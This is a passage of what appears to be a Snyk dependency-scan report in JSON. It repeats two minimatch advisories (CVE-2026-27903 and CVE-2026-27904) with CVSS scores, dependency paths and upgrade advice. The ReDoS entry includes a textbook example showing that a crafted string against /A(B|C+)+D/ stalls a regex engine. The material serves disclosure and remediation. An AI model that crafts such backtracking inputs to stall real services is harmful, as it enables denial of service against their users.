"@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## 